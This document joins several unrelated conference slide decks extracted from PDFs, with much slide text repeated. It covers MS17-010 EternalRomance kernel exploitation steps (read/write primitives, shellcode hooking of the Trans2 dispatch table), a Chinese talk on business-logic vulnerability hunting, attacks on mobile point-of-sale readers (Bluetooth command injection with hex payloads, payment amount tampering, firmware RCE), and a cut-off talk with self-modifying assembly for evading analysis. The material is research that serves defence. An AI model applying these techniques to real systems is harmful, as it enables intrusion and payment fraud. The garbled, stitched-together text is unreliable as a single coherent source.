Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Matched Pairs “Lattice” ● All versions of Windows ○ Including, 7+ ● Must overcome pool contention ○ Not a private heap ■ Normal, Paged Pool ■ PASSIVE_LEVEL Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Matched Pairs “Lattice” Free Heap memory Grooms Brides (victim) Exploit (pointer shift) Write-What-Where Primitive Write-What-Where Primitive 1. Exploit Transaction (PID=X) ○ Set VictimTrans->InData to &WHERE ○ Set VictimTrans->Executing to FALSE ○ Increase reference count! ■ Don’t want it to get freed ○ etc... Write-What-Where Primitive 1. Exploit Transaction (PID=X) ○ Set VictimTrans->InData to &WHERE ○ Set VictimTrans->Executing to FALSE ○ Increase reference count! ■ Don’t want it to get freed ○ etc... 2. VictimTrans Secondary (MID=0) ○ Trans Data Block = WHAT[] Read-Where Primitive Read-Where Primitive 1. Exploit Transaction (PID=X) ○ Modify VictimTrans to point at LeakTrans ■ Address inferred by its contents ■ VictimTrans now modifies LeakTrans Read-Where Primitive 1. Exploit Transaction (PID=X) ○ Modify VictimTrans to point at LeakTrans ■ Address inferred by its contents ■ VictimTrans now modifies LeakTrans 2. VictimTrans Trans_Secondary (MID=0) ○ LeakTrans->OutData = &WHERE ○ LeakTrans->Setup = TRANS_PEEK_NMPIPE ○ LeakTrans->MaxDataCount = size_t Read-Where Primitive 1. Exploit Transaction (PID=X) ○ Modify VictimTrans to point at LeakTrans ■ Address inferred by its contents ■ VictimTrans now modifies LeakTrans 2. VictimTrans Trans_Secondary (MID=0) ○ LeakTrans->OutData = &WHERE ○ LeakTrans->Setup = TRANS_PEEK_NMPIPE ○ LeakTrans->MaxDataCount = size_t 3. LeakTrans Trans_Secondary ○ Echos back the LeakTrans->OutData Quest for RWX NonPagedPool 1. Exploit Trans ○ Set VictimTrans->OutParameters = NULL 2. Send Secondary Victim Transaction if (VictimTrans->OutParameters == NULL) VictimTrans->OutParameters = WorkContext->ResponseBuffer; 3. Read Primitive ○ Read address just set 4. Write Primitive ○ Send shellcode Quest to Execute the Shellcode 1. Locate Transaction2DispatchTable ○ FIND in srv.sys .data section (read primitive) 2. Hook a Trans2 subcommand ○ REPLACE a pointer in table (write primitive) 3. Fake Trans2 executes the hook ○ Subcommand = hooked index ○ Similar methodology as DOUBLEPULSAR ● Given: ○ Read/write primitives ○ Leaked TRANSACTION has CONNECTION pointer Locate Transaction2DispatchTable 1. Read in LeakTrans->CONNECTION Locate Transaction2DispatchTable 1. Read in LeakTrans->CONNECTION 2. CONNECTION->EndpointSpinLock ○ SrvGlobalSpinLocks ■ Inside PE .data section Locate Transaction2DispatchTable 1. Read in LeakTrans->CONNECTION 2. CONNECTION->EndpointSpinLock ○ SrvGlobalSpinLocks ■ Inside PE .data section 3. Read backwards, SrvSmbWordCount ○ Illegal commands = -2 (0xfe) ○ If we see a bunch of fefe, we're close Locate Transaction2DispatchTable 1. Read in LeakTrans->CONNECTION 2. CONNECTION->EndpointSpinLock ○ SrvGlobalSpinLocks ■ Inside PE .data section 3. Read backwards, SrvSmbWordCount ○ Illegal commands = -2 (0xfe) ○ If we see a bunch of fefe, we're close 4. Transaction2DispatchTable ○ Function pointers #0x14 == #0x15 ■ SrvTransactionNotImplemented EternalRomance Info Leak Patch #1 SrvSmbTransaction() Before: if (subCommand == TRANS_PEEK_NMPIPE) { maxParameterCount = MAX(16, maxParameterCount); } SrvAllocateTransaction(&Transaction, ...); Transaction->MaxParameterCount = maxParameterCount; EternalRomance Info Leak Patch #1 SrvSmbTransaction() After: if (subCommand == TRANS_PEEK_NMPIPE) { maxParameterCount = 16; } SrvAllocateTransaction(&Transaction, ...); Transaction->MaxParameterCount = maxParameterCount; MS17-010 Scanners ● Max TRANSACTION allocation size=0x10400 ○ 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES ● Send MaxParameterCount+MaxDataCount > 0x10400 MS17-010 Scanners ● Max TRANSACTION allocation size=0x10400 ○ 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES ● Send MaxParameterCount+MaxDataCount > 0x10400 ○ Patch fixes MaxParameterCount to 16 ■ Passes allocation routine! ○ Different NT error (i.e. invalid FID) EternalRomance Info Leak Patch #2 SrvCompleteExecuteTransaction() New Code: if (transaction->DataCount > transaction->MaxDataCount) transaction->DataCount = transaction->MaxDataCount; if (transaction->ParameterCount > transaction->MaxParameterCount ) transaction->ParameterCount = transaction->MaxParameterCount ; EternalRomance RCE Patch #1 SrvSmbWriteAndX() Before: RtlCopyMemory(transaction-> InData, ...); transaction->InData += writeLength; transaction->DataCount += writeLength; EternalRomance RCE Patch #1 SrvSmbWriteAndX() After: RtlCopyMemory(transaction-> InData + transaction->DataCount, ...); transaction->InData += writeLength; transaction->DataCount += writeLength; EternalRomance RCE Patch #2 1. SrvSmbNtTransaction/SrvSmbTransaction() New Code: SrvAllocateTransaction(&Transaction, ...) Transaction->SecondaryCommand = /* 0x38 */ SMB_COM_NT_TRANS_SECONDARY; SrvInsertTransaction(&Transaction); EternalRomance RCE Patch #2 1. SrvSmbNtTransaction/SrvSmbTransaction() New Code: SrvAllocateTransaction(&Transaction, ...) Transaction->SecondaryCommand = /* 0x38 */ SMB_COM_NT_TRANS_SECONDARY; SrvInsertTransaction(&Transaction); 2. SrvFindTransaction() New Code: if (FoundTrans->SecondaryCommand != NewSmb->Command) return NULL; EternalSynergy EternalSynergy 1.0.1 ● Same buffalo overflow, read/writes, as EternalRomance ○ Matched pairs ○ "Classic" ● Same info leak as EternalChampion ○ NT_Rename Race Condition ■ TRANS_PEEK_NAMED_PIPE is fixed… ● Srv.sys is using NonPagedPoolNx for Work Items! ○ Needs DEP bypass Quest for RWX Memory (via remote read) ● Given: Connection Type Pointer Dereference Offset WORK_QUEUE Connection->PreferredWorkQueue variadic Quest for RWX Memory (via remote read) ● Given: Connection Type Pointer Dereference Offset WORK_QUEUE Connection->PreferredWorkQueue variadic KTHREAD PreferredWorkQueue->IrpThread 0x198 Quest for RWX Memory (via remote read) ● Given: Connection Type Pointer Dereference Offset WORK_QUEUE Connection->PreferredWorkQueue variadic KTHREAD PreferredWorkQueue->IrpThread 0x198 KPROCESS IrpThread->Process 0x220 Quest for RWX Memory (via remote read) ● Given: Connection ● Obtain: ProcessListEntry.Blink ○ nt!KiProcessListHead* Type Pointer Dereference Offset WORK_QUEUE Connection->PreferredWorkQueue variadic KTHREAD PreferredWorkQueue->IrpThread 0x198 KPROCESS IrpThread->Process 0x220 PVOID KProcess->ProcessListEntry.Blink 0x240 * https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kprocess/index.htm Quest for RWX Memory (via remote read) ● Given: Connection ● Obtain: ProcessListEntry.Blink ○ nt!KiProcessListHead* ● Search backwards by page size for 'MZ' ○ ntoskrnl.exe PE header Type Pointer Dereference Offset WORK_QUEUE Connection->PreferredWorkQueue variadic KTHREAD PreferredWorkQueue->IrpThread 0x198 KPROCESS IrpThread->Process 0x220 PVOID KProcess->ProcessListEntry.Blink 0x240 * https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kprocess/index.htm ntoskrnl.exe RWEXEC Section ● Remote read offset 0x250 into &ntoskrnl.exe ● Check section headers: ○ +0x08 == 0x1000 (Virtual Size: 4096) ○ +0x0C <= 0x800000 (Virtual Addr: 0x271000 &KxUnexpectedInterrupt) ○ +0x24 == 0xE80000A0 (Segment permissions: RWX) Additional Research ● @sleepya_ ○ https://github.com/worawit/MS17-010 ● @n_joly ○ https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf ● @jennamagius and @zerosum0x0 ○ https://keybase.pub/jennamagius/EternalBlue_RiskSense-Exploit-Analysis-and-Port-to-Microsoft-Windows-10.pdf ● @msftsecresponse ○ https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/ ○ https://blogs.technet.microsoft.com/srd/2017/07/13/eternal-synergy-exploit-analysis/ ● @swithak ○ https://swithak.github.io/SH20TAATSB18/Home/ ● @francisckrs ○ https://speakerdeck.com/francisck/danderspritz-how-the-equation-groups-2013-tools-still-pwn-in-2017 ● @msuiche ○ https://www.comae.io/reports/us-17-Suiche-TheShadowBrokers-Cyber-Fear-Game-Changers.pdf Thanks! zerosum0x0
pdf
业务漏洞挖掘 案例与思考分享 微博安全高级工程师 唐茂凡 现状 01 01 现状 分类 常 规 注入、XSS、XXE、CSRF、SSRF、文件包含、命令执行、 URL重定向、点击劫持等 其 他 网络层漏洞、系统层漏洞、 组件套件中间件漏洞等 业 务 登录认证、业务办理、业务数据、业务流 程逻辑、业务授权访问、业务接口调用、验 证码、输入\输出、回退、密码找回、密码 重置、实名认证、设置个人信息、绑定银行 卡、红包优惠券、订单CURD、充值、支付、 提现...... 01 现状 不同 01 04 02 03 漏洞成因 复杂度 场景流 程变化 多端 通用性 风险点 隐蔽 不 同 01 现状 为什么业务安全越来越受重视? 业务安全 越来越被重视 风险 02 02 风险 怎么做 03 03 怎么做 1 、 缺 乏 成 熟 的 标 准 、 工 具 、 服 务 2 、 信 息 不 对 称 3 、 外 部 力 量 有 限 4 、 各 种 难 : 难 以 接 触 业 务 环 境 难 以 触 发 业 务 场 景 难 以 理 解 业 务 原 理 和 风 险 . . . . . . 03 怎么做 企业不同时期业务与安全的关系 前期 中期 后期 1、以业务需求为主,注重功能实 现 2、业务方安全意识薄弱 3、基础安全为主,不够重视业务 安全 4、风险未集中暴露,不能有效止 损 5、事前缺乏安全评审与安全测试 6、事中缺乏安全监控与风控运营 7、事后缺乏支持难以溯源 缺乏必要的安全评估与测试 只对主要业务进行渗透测试、代码 审计 被动事后响应 基于漏洞类型的自动化扫描检测, 辅以人工测试(传统类型的漏洞为 主) 1、除功能、性能、稳定性,安全 成为业务的一个属性 2、业务方安全意识提高 3、业务安全基础建设、业务安全 价值体现,安全话语权提高 4、风险集中暴露,事件经验迅速 积累 5、防护监控设备 6、网络层,系统层,组件套件层 漏洞难以利用 7、攻击者目标更多转向业务逻辑 层 切入到业务需求评审、 业务设计 基于业务场景的安全测试,以业务 场景、流程为重心,人工测试主导 +自动化漏洞发现 深入了解业务特点和安全需求,根 据业务系统架构,从前/后视角、 业务视角与支撑系统视角划分测试 对象,结合所有信息获取和评估手 段控制风险。 1、业务安全标准化作业 2、业务安全决策影响 3、业务安全咨询,支持创新业务 发展 4、基于业务安全体系建设,保障 业务持续增长,从止损思维到盈利 思维转化 5、业务安全能力对外输出 03 怎么做 重视业务漏洞+ 较为完善的漏洞发现能力 02 03 04 05 06 01 线上业务被动扫描 SDL阶段黑白盒扫描 安全巡检 SRC等外部反馈 以业务场景流程为重心, 人工挖掘漏洞 风控运营 03 怎么做 不同的业务场景 业 务 场 景 不 同 行 业 业 务 场 景 有 所 不 同 安 全 评 审 高 风 险 业 务 场 景 识 别 相 同 行 业 , 业 务 场 景 也 不 是 一 成 不 变 03 怎么做 安全测试人员需要哪些能力 03 怎么做 真正理解业务 01 02 03 04 体会&经验&思考 04 04体会&经验&思考 安全 产品 程序员 “天敌” 01 安全意识 培训 02 03 04 安全开发 红线 安全编码 规范 协助解决 问题 04体会&经验&思考
pdf
FOR THE LOVE OF MONEY Finding and exploiting vulnerabilities in mobile point of sales systems LEIGH-ANNE GALLOWAY & TIM YUNUSOV MPOS GROWTH 2010 Single vendor 2018 Four leading vendors shipping thousands of units per day Motivations Motivations MWR Labs “Mission mPOSsible” 2014 Related Work Mellen, Moore and Losev “Mobile Point of Scam: Attacking the Square Reader” (2015) Related Work Research Scope Research Scope PAY PA L S Q U A R E I Z E T T L E S U M U P Research Scope “How much security can really be embedded in a device that is free?” Research Scope PHONE/SERVER HARDWARE DEVICE/PHONE MOBILE APP SECONDARY FACTORS Research Scope MERCHANT ACQUIRER CARD BRANDS ISSUER Background MPOS PROVIDER ACQUIRER CARD BRANDS ISSUER MERCHANT MERCHANT Background CARD RISK BY OPERATION TYPE Chip & PIN Chip & Signature Contactless Swiped PAN Key Entry Background EMV enabled POS devices make up between 90-95% of POS population E U E M V AC C E P TA N C E EMV enabled POS devices make up 13% of POS population and 9% of the ATM population 90% 13% U S E M V AC C E P TA N C E GLOBAL ADOPTION OF EMV - POS TERMINALS Background 96% of credit cards in circulation support EMV as a protocol E M V C R E D I T C AR D AD O P T I O N However less than half of all transactions are made by chip E M V C R E D I T C AR D U S AG E 96% 41% Background 79% of debit cards in circulation support EMV as a protocol E M V D E B I T C AR D AD O P T I O N However less than half of all transactions are made using chip E M V D E B I T C AR D U S AG E 79% 23% Background 46% 52 MILLIO N PERCENTAGE OF TRANSACTIONS MILLIONS OF NUMBER OF UNITS MPOS TIMELINE 2019 Background 46% 52 SCHEMATIC OVERVIEW OF COMPONENTS Background FINDINGS SENDING ARBITRARY COMMANDS AMOUNT MODIFICATION REMOTE CODE EXECUTION HARDWARE OBSERVATIONS SECONDARY FACTORS Methods & Tools BLUETOOTH Methods & Tools Host Controller Interface (HCI) SOFTWARE BT PROFILES, GATT/ATT L2CAP LINK MANAGER PROTOCOL (LMP) BASEBAND BLUETOOTH RADIO HOST CONTROLLER BLUETOOTH PROTOCOL Methods & Tools GATT (Generic Attribute) /ATT(Attribute Protocol) RFCOMM Service UUID Characteristic UUID Value Methods & Tools BLUETOOTH AS A COMMUNICATION CHANNEL NAP UAP LAP 68:AA D2 0D:CC:3E Org Unique Identifier Unique to device Methods & Tools BLUETOOTH ATTACK VECTORS SLAVE MASTER 1. 2. Eavesdropping/MITM Manipulating characteristics Methods & Tools $120 $20,000 Frontline BPA 600 Ubertooth One Methods & Tools Methods & Tools SENDING ARBITRARY COMMANDS Findings • Initiate a function • Display text • Turn off or on MANIPULATING CHARACTERISTICS User authentication doesn’t exist in the Bluetooth protocol, it must be added by the developer at the application layer Findings 1. 2. 3. Findings Findings Findings LEADING PART MESSAGE TRAILING PART CRC END 02001d06010b000000 010013 506c656173652072656d6f76652063 617264 00ff08 3c62 03 “Please remove card” Findings 1. Force cardholder to use a more vulnerable payment method such as mag-stripe 2. Once the first payment is complete, display “Payment declined”, force cardholder to authorise additional transaction. ATTACK VECTORS Findings Findings Data: 0d0501000017010300000c00496e736572742f73776970652063617264440d0a LEADING PART MESSAGE CRC 0d0501000017 010300000c00496e736572742f737769706520636172 64 44 “Insert/swipe card” Findings AMOUNT TAMPERING Findings HOW TO GET ACCESS TO TRANSACTIONS AND COMMANDS HTTPS DEVELOPER BLUETOOTH LOGS RE OF APK ENABLE DEBUG BLUETOOTH SNIFFER Findings HOW TO GET ACCESS TO COMMANDS 1. 0x02ee = 7.50 USD 0x64cb = checksum 2. 0100 = 1.00 USD 0x8a = checksum Findings MODIFYING PAYMENT AMOUNT 1. Modified payment value 2. Original (lower) amount displayed on card reader for the customer 3. Card statement showing higher authorised transaction amount 1 2 3 Findings MODIFYING PAYMENT AMOUNT TYPE OF PAYMENT AMOUNT TAMPERING SECURITY MECHANISMS MAG-STRIPE TRACK2 ---- CONTACTLESS POSSIBLE AMOUNT CAN BE STORED IN CRYPTOGRAM CHIP AND PIN ----- AMOUNT IS STORED IN CRYPTOGRAM LIMIT PER TRANSACTION: 50,000 USD Findings ATTACK Service Provider $1.00 payment $1.00 payment 50,000 payment Customer Fraudulent merchant Findings MITIGATION ACTIONS FOR SERVICE PROVIDERS REQUEST SOLUTION FROM VENDOR CONTROL YOUR ECOSYSTEM NO MAG-STRIPE Findings REMOTE CODE EXECUTION Findings RCE = 1 REVERSE ENGINEER + 1 FIRMWARE @ivachyou Findings HOW FIRMWARE ARRIVES ON THE READER https://frw.******.com/_prod_app_1_0_1_5.bin https://frw.******.com/_prod_app_1_0_1_5.sig https://frw.******.com/_prod_app_1_0_1_4.bin https://frw.******.com/_prod_app_1_0_1_4.sig Header - RSA-2048 signature (0x00 - 0x100) Body - AES-ECB encrypted Findings https://www.paypalobjects.com/webstatic/mobile/pph/sw_repo_app/u s/miura/m010/prod/7/M000-MPI-V1-41.tar.gz https://www.paypalobjects.com/webstatic/mobile/pph/sw_repo_app/u s/miura/m010/prod/7/M000-MPI-V1-39.tar.gz HOW FIRMWARE ARRIVES ON THE READER Findings HOW FIRMWARE ARRIVES ON THE READER Findings RCE HOW FIRMWARE ARRIVES ON THE READER Findings INFECTED MPOS PAYMENT ATTACKS COLLECT TRACK 2/PIN PAYMENT RESEARCH Findings DEVICE PERSISTENCE GAME OVER REBOOT Findings ATTACK Service Provider Reader UPDATES RCE Device with Bluetooth Fraudulent customer Merchant Findings MITIGATIONS NO VULNERABLE OR OUT-OF-DATE FIRMWARE NO DOWNGRADES PREVENTATIVE MONITORING Findings Findings HARDWARE OBSERVATIONS Findings SECONDARY FACTORS ENROLMENT PROCESS ON BOARDING CHECKS VS TRANSACTION MONITORING DIFFERENCES IN GEO – MSD, OFFLINE PROCESSING WHAT SHOULD BE CONSIDERED AN ACCEPTED RISK? : ( :0 ACCESS TO HCI LOGS/APP, LOCATION SPOOFING Findings Reader Cost reader/Fee per transaction Enrollment process Antifraud + Security checks Physical security FW RE Mobile Ecosystem Arbitrary commands Red teaming Amount tampering Square [EU] $51 1.75-2.5% Low - no anti money laundering checks but some ID checks Strict – active monitoring of transactions N/A - strict - - - Square [USA] Strict – correlation of “bad” readers, phones and acc info N/A - medium (dev) - + - $50 2.5-2.75% Free 2.5-2.75% Square mag-stripe [EU + USA] Strict (see above) Low - low - + + [no display] Square miura [USA] Strict (see above) N/A + N/A + [via RCE] + + (via RCE) $130 2.5-2.75% PayPal miura $60 1-2.75% High - anti-money laundering checks + credit check (to take out credit agreement) Strict – transaction monitoring N/A + low + [via RCE] + + (via RCE) SumUp $40 1.69% Medium - low + + + iZettle datecs $40 1.75% Medium - ant- money laundering check + ID checks Low – limited monitoring, on finding suspect activity block withdrawal - acc otherwise active High - low + - + Conclusions PAYMENT PROVIDER 1. Carry out an assessment of reader to gather preliminary data + info from cards. 2. Use data to carry out normal transactions to obtain baseline. 3. Use info obtained during this process to identify potential weaknesses and vulnerabilities. 4. Carry out “modified” transactions MPOS FOR RED TEAMING Conclusions : 0 ASSESSING RISK - WHAT DOES THIS MEAN FOR YOUR BUSINESS? : ( : | Conclusions Conclusions CONCLUSIONS RECOMMENDATIONS FOR MPOS MANUFACTURERS Control firmware versions, encrypt & sign firmware Use Bluetooth pairing mode that provides visual confirmation of reader/phone pairing such as pass key entry Integrate security testing into the development process Implement user authentication and input sanitisation at the application level Conclusions CONCLUSIONS Protect deprecated protocols such as mag- stripe Use preventive monitoring as a best practice Don’t allow use of vulnerable or out-of-date firmware, prohibit downgrades RECOMMENDATIONS FOR MPOS VENDORS Place more emphasis on enrolment checks Protect the mobile ecosystem Implement user authentication and input sanitization at application level Conclusions CONCLUSIONS Control physical access to devices Do not use mag-stripe transactions RECOMMENDATIONS FOR MPOS MERCHANTS Assess the mPOS ecosystem Choose a vendor who places emphasis on protecting whole ecosystem Conclusions THANKS Hardware and firmware: Artem Ivachev Leigh-Anne Galloway @L_AGalloway Tim Yunusov @a66at Hardware observations: Alexey Stennikov Maxim Goryachy Mark Carney
pdf
The Remote Metamorphic Engine Detecting, Evading, Attacking the AI and Reverse Engineering Amro Abdelgawad / DEFCON 24 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine ‣ Security as undefined expression ‣ Flux binary mutation ‣ Resisting Reverse Engineering ‣ Evading AI machine learning ‣ Artificial Immunity 2 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Security Patterns {Division by Infinity | Division by Zero } Isolation Randomization 1 / dword 1 / 4294967295 1 * 0 = 0 1 / ∞ = 0 undefined 1 / 0 = undefined Reducing probabilities Undefined Probabilities 3 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Security as Undefined & indeterminate expression The Undefined Expression 1 0 Undefined ∞ -∞ = = RE Time ∞ 0 Remote Metamorphic Engine Isolation Randomization 4 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Unbreakable Code Unpredictable un·pre·dict·a·ble adjective:/ˌənprəˈdiktəb(ə)l/ Likely to change suddenly and without reason and therefore not able to be predicted (= expected before it happens) 5 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Fixed Static Code Problem Static Code Dynamic Data Core security weakness in all today’s software Enables all sorts of replicable software security exploits The Breakable Code 6 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Unpredictable Code Evolution Dynamic Code Dynamic Data Code evolution across time Functionality evolution across location Self contained autonomous code Unpredictable Self aware 7 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Code Evolution Resisting Reverse Engineering Locate the Code Analyze the Code Break the Code not locatable Sho! Lifetime Unbreakable Remote Execution Flux Mutation Self aware 8 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Remote Flux Mutation Morphed Code Execution Thread/Process Mutation Engine Remote Mutation Tru"ed Zone Untru"ed Zone Challenge Response 9 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte 